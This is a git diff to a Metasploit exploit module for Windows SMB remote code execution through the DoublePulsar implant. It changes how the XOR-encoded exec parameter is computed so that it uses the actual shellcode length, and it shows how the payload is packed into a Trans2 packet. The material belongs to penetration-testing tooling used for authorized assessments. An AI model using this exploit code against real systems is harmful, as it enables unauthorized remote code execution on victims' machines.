diff --git a/modules/exploits/windows/smb/doublepulsar_rce.rb b/modules/exploits/windows/smb/doublepulsar_rce.rb
index 31967621fa..86abd2b3ce 100644
--- a/modules/exploits/windows/smb/doublepulsar_rce.rb
+++ b/modules/exploits/windows/smb/doublepulsar_rce.rb
@@ -112,12 +112,12 @@ class MetasploitModule < Msf::Exploit::Remote
     0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
   end
 
-  def generate_doublepulsar_param(op)
+  def generate_doublepulsar_param(op, body)
     case OPCODES.key(op)
     when :ping, :kill
       "\x00" * 12
     when :exec
-      Rex::Text.xor([@xor_key].pack('V'), [MAX_SHELLCODE_SIZE, MAX_SHELLCODE_SIZE, 0].pack('V*'))
+      Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
     end
   end
 
@@ -257,7 +257,7 @@ class MetasploitModule < Msf::Exploit::Remote
     setup_count = 1
     setup_data = [0x000e].pack('v')
 
-    param = generate_doublepulsar_param(opcode)
+    param = generate_doublepulsar_param(opcode, body)
     data = param + body.to_s
 
     pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct